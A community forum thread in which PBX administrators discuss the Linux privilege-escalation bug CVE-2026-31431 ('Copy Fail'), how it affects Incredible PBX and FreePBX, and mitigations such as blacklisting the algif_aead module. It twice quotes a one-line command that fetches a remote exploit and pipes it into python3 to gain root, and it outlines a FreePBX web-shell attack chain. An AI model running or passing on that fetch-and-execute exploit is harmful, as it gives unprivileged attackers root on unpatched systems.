ALERT AI helped find CopyFail exploit to give a user root access to in all Linux distros

[KNERD]

CopyFail Compromises The Last 9 Years Of Linux Distros

Turns out that right under our noses for the past 9 years effecting every version of Linux kernel in that time was a trivial to execute privilege bug now dubbed CopyFail otherwise going by CVE-2026-31...

odysee.com

And here is the notice (with easy fix)

Copy Fail: 732 Bytes to Root on Every Major Linux Distribution. - Xint

Xint Code disclosed CVE-2026-31431, an authencesn scratch-write bug chaining AF_ALG + splice() into a 4-byte page cache write. A 732-byte PoC gets root on Ubuntu, Amazon Linux, RHEL, SUSE. | AI for Security, Vulnerability Research

xint.io

 

[mbellot]

Headline a bit miseading... AI helped find an exploit. There was a human who suspected it, AI did what computers do best - lots of repetitive operations to flush out the precise exploit.

Great use of a tool, certainly much better than an annoying AI customer assistant.

 

[chris_c_]

Here's the command lines to test and see if anyone with a normal user login account on your PBX system can become root with a one line command:

curl https://copy.fail/exp | python3 && su
id

And the website all about this bug, for anyone wanting to learn more:

Copy Fail — 732 Bytes to Root

CVE-2026-31431. 100% Reliable Linux LPE — no race, no per-distro offsets, page-cache write that bypasses on-disk file-integrity tools and crosses containers. Found by Xint Code.

copy.fail

 

[wardmundy]

SO... as this pertains to Incredible PBX, there should be NO USER ACCOUNTS OTHER THAN ROOT on your servers. The vulnerability is a non-starter with Incredible PBX platforms unless an administrator has "improved things."

To quickly extract just the usernames of people who have an active password (local accounts only), run:

getent shadow | grep -vE ':[\!\*]' | cut -d: -f1

Same applies to Fusion PBX and FSPBX on the platforms we use.

 

[chris_c_]

SO... as this pertains to Incredible PBX, there should be NO USER ACCOUNTS OTHER THAN ROOT on your servers. The vulnerability is a non-starter with Incredible PBX platforms unless an administrator has "improved things."

To quickly extract just the usernames of people who have an active password (local accounts only), run:

getent shadow | grep -vE ':[\!\*]' | cut -d: -f1

Same applies to Fusion PBX and FSPBX on the platforms we use.

Playing devil's advocate: What about Ubuntu, by default, the Ubuntu installer requires you to create a normal user account with sudo privileges and does not provide an option to set a password for the root user during installation. Some then just sudo run the IPBX installer script and it completes the install. Secure system advice is to run apache listeners, mysql, and asterisk as non privileged users in case attackers exploit a zero day to steal all PBX data and encrypt the PBX system for ransom, or any other cyber attack.

 

[Samot]

SO... as this pertains to Incredible PBX, there should be NO USER ACCOUNTS OTHER THAN ROOT on your servers. The vulnerability is a non-starter with Incredible PBX platforms unless an administrator has "improved things."

So everything on an IncrediblePBX system runs as root? MySQL/MariaDB, Apache, Asterisk, FreePBX...all those run as root? Because if they don't, then there are other user accounts on the system. Also to do that, you would actively have to change things to root since things like MySQL/MariaDB and Apache create and run things as their own user/groups (www-data and mysql).

 

[wardmundy]

@Samot: We're talking about user accounts that have login privileges. You have to login to load the exploit.

@chris_c_: If you followed the 2025 or 2027 tutorial, one of the key steps is deleting the non-root account.

 

[Samot]

We're talking about user accounts that have login privileges. You have to login to load the exploit.

That's not true at all. They do not need to actually login as www-data to run things as www-data such as an RCE. Any service that runs as an unprivileged user and has exposure can be triggered by this. Redis and MongoDB are known for getting exposed to the Internet with not auth and get hit with RCE's and open to exploits like this. I mean web shell is so common now that things like that are a major problem. Log4Shell that hit **three years ago** caused havoc because a single HTTP request pwned the system. No account, no SSH, no passwords.

The whole "needs to login" mentality hasn't been part of security measures for almost two decades now.

 

[dallas]

SO... as this pertains to Incredible PBX, there should be NO USER ACCOUNTS OTHER THAN ROOT on your servers. The vulnerability is a non-starter with Incredible PBX platforms unless an administrator has "improved things."

To quickly extract just the usernames of people who have an active password (local accounts only), run:

getent shadow | grep -vE ':[\!\*]' | cut -d: -f1

Same applies to Fusion PBX and FSPBX on the platforms we use.

I ran your code on my Incredible PBX 2021 15.0.38 and it shows 31 user accounts. all appear to be system accounts including www-data as mentioned by @Samot. The list also has an asterisk user with a UID of 1001.

 

[chris_c_]

Note, don't run this exploit python code on a Raspberry Pi Debian Linux system, as the exploit code is too dumb to detect it's running on ARM64, it assumes it's on Intel compatible CPU and will blindly replace your /usr/bin/su binary with the x86-64 binary version, which obviously fails to work! To check your binary is wrong, run file /usr/bin/su and it will show x86-64. To get your ARM64 su binary back, you have to run this command: sudo apt install --reinstall util-linux

 

[hecatae]

Here's the command lines to test and see if anyone with a normal user login account on your PBX system can become root with a one line command:

curl https://copy.fail/exp | python3 && su
id

And the website all about this bug, for anyone wanting to learn more:

Copy Fail — 732 Bytes to Root

CVE-2026-31431. 100% Reliable Linux LPE — no race, no per-distro offsets, page-cache write that bypasses on-disk file-integrity tools and crosses containers. Found by Xint Code.

copy.fail

This is an absolute goldmine for the SNG7 Freepbx 16 distribution

 

[chris_c_]

This is an absolute goldmine for the SNG7 Freepbx 16 distribution

I would recommend, if you can, to plan a migration to Incredible PBX 17 or FreePBX 17 on Debian 12 OS, for a modern Linux kernel 6.1.170, which is patched and safe from this one line root exploit (because Linux devs reverted the efficiency patch from 2017 that allows this exploit to occur).

Or, if you can, patch your SNG7 3.x kernel immediately with the fix, recompile the kernel, and install it.

Or, if patching the kernel is not immediately possible, you can disable the vulnerable kernel module by running the commands:

# Unload the module if it is currently loaded.
sudo rmmod algif_aead
# Permanently disable by preventing it from loading.
echo "install algif_aead /bin/false" | sudo tee /etc/modprobe.d/disable-algif_aead.conf

 

[mbellot]

# Unload the module if it is currently loaded.
sudo rmmod algif_aead
# Permanently disable by preventing it from loading.
echo "install algif_aead /bin/false" | sudo tee /etc/modprobe.d/disable-algif_aead.conf

Ubuntu automatically did this to my PBX on 4/30/26 @ 7:30am (according to the time stamp on disable-algif_aead.conf), before this thread was even created.

 

[chris_c_]

Ubuntu automatically did this to my PBX on 4/30/26 @ 7:30am (according to the time stamp on disable-algif_aead.conf), before this thread was even created.

Yes, Ubuntu 24.04 LTS (and other supported releases) automatically creates the file /etc/modprobe.d/disable-algif_aead.conf when you update the kmod package to the version containing the mitigation for the Copy Fail vulnerability (CVE-2026-31431).

 

[wardmundy]

That's not true at all. They do not need to actually login as www-data to run things as www-data such as an RCE. Any service that runs as an unprivileged user and has exposure can be triggered by this. Redis and MongoDB are known for getting exposed to the Internet with not auth and get hit with RCE's and open to exploits like this. I mean web shell is so common now that things like that are a major problem. Log4Shell that hit **three years ago** caused havoc because a single HTTP request pwned the system. No account, no SSH, no passwords.

The whole "needs to login" mentality hasn't been part of security measures for almost two decades now.

Please document a scenario with actual steps to load this compromise on any Incredible PBX platform. I think you have missed the point that Incredible PBX servers completely restrict access to whitelisted IP addresses. But I'm all ears if we've missed something. Here's an IP address to one of our Incredible PBX 2025 platforms so fire away: 172.245.197.47

 

[Samot]

Please document a scenario with actual steps to load this compromise on any Incredible PBX platform. I think you have missed the point that Incredible PBX servers completely restrict access to whitelisted IP addresses. But I'm all ears if we've missed something. Here's an IP address to one of our Incredible PBX 2025 platforms so fire away: 172.245.197.47

Ward, you claimed there were no other user accounts on an IncrediblePBX system. That was wrong. You then claimed that even though there are other user accounts because they don't have logins to run this exploit, they are safe. That's wrong too.

Just because you have a firewall that comes with the PBX it doesn't mean that firewall stays on or even untouched in various deployments. You have no idea what individual users are doing with their deployments. Claiming that because the other user accounts don't have a shell login makes them safe from this exploit (or any others) is misleading and can lead less experienced users to think they are safe when they are not because "they can't login"

 

[wardmundy]

So you agree there is no vulnerability in stock deployments of Incredible PBX. Have I said that carefully enough?

My comments regarding shell access were in the context of deployed Incredible PBX platforms. I'm fully aware that many exploits on traditional Linux platforms do not require a login. FreePBX has proved that over and over again.

With regard to the red herring you raised and, for the record, "less experienced users" have no business messing with the Incredible PBX firewall. Those that wander off the reservation do so at their peril.

Some of your comments more appropriately should be focused on Sangoma's platforms. They once again have a serious problem on their hands.

 

[Samot]

So you agree there is no vulnerability in stock deployments of Incredible PBX. Have I said that carefully enough?

No, because you would need to audit it to make sure that nothing in there has a vulnerability. So you would have to audit all the code for that. Since every one likes to point out the issues in FreePBX and since that is the core of IncrediblePBX, if FreePBX has an exploit then IncrediblePBX has the exploit unless something was done at the IncrediblePBX level to fix it. And no "We have a firewall" isn't fixing it.

Then there is the old version of PortKnocker used which is rife with known exploits and dead software (i.e. nothing is getting fixed). Then there is OpenVPN that is installed and used and OpenVPN is also known to be filled with bugs and exploits.

So again, to have a "no vulnerability" in IncrediblePBX requires everything that is uses to not have any. I doubt any sort of audit is done at that deep of level with all the things IncrediblePBX uses.

 

[chris_c_]

Hypothetically, if an attacker from the public internet could login to the IPBX / FreePBX 17 web login page (which is less likely when you restrict access to tailscale machine members only), and the attacker obtains a "web shell", it would be as the user "www-data", then they could try and run the exploit, and get promoted to user "root", but only if their OS has not received the patched linux kernel, or the mitigation to disable the algif_aead kernel module.

In fact, a web shell EncystPHP recently deployed against FreePBX, allows an attacker to:

• Execute arbitrary system commands with the permissions of the web server (e.g., www-data or apache).
• Upload, download, or edit files.
• Establish persistent access through cron jobs or backdoor accounts.
• Initiate outbound activity (e.g., send thousands of paid spam emails, network scanning),

In early 2026, threat actors are targeting FreePBX servers by using CVE-2025-64328, a post-authentication command-injection vulnerability in the Endpoint Manager module. More details at GitHub Security Advisory.

1. Attackers use valid credentials (obtained via other means) or other vulnerabilities to first gain access.
2. A base64-encoded PHP payload is sent via HTTP POST to ajax.php, creating a new malicious file in /var/www/html/admin/views/.
3. The shell often sets restrictive permissions (chmod 000) on the file to hide it, while creating cron jobs to ensure the shell is re-downloaded if removed!

I've noticed attack activity patterns on this IPBX 2025 instance. With no call activity, PM2, node, webmin and asterisk are intermittently higher CPU than one would expect. After some hours it is totally non-responsive and requires reboot thru the VM control panel.

EDIT: From an earlier attempt to provide remote access, I have OpenVPN and KnockD installed and running, which are probably providing too much of an attack surface to internet scanning hackers & so first move is to disable these two services and see if the heavy CPU load from these attacks drops off.

 

[Samot]

if an attacker from the public internet could login to the IPBX / FreePBX 17 web login page (which is less likely when you restrict access to tailscale machine members only),

Here's another misnomer. A secure VPN is as secure as the weakest point in the chain and that weakest point is generally the user's PC. Compromised PC --> Secure VPN --> PBX is not a secure chain. That compromised PC can do what ever it wants over the secure VPN tunnel because the tunnel doesn't care about the PC or what is on it or what it is sending over the tunnel.

A report from June last year showed that Infostealer got over 16 billion credentials and access to things because Infostealer just doesn't steal credentials it steals everything to mimic you. For example, you have a Tailscale config on your PC for the VPN...Infostealer is going to steal the public/private keys, the remote endpoint details and those then can be used by a bad actor to mimic you.

An insecure/unprotected PC is going to be targeted more than attacking a firewall. The human/social engineering approach is more used now than other methods because it's the path of least resistance. So the whole "I have a firewall and VPN so I'm sekure" is false unless you have protection at all points including your PC.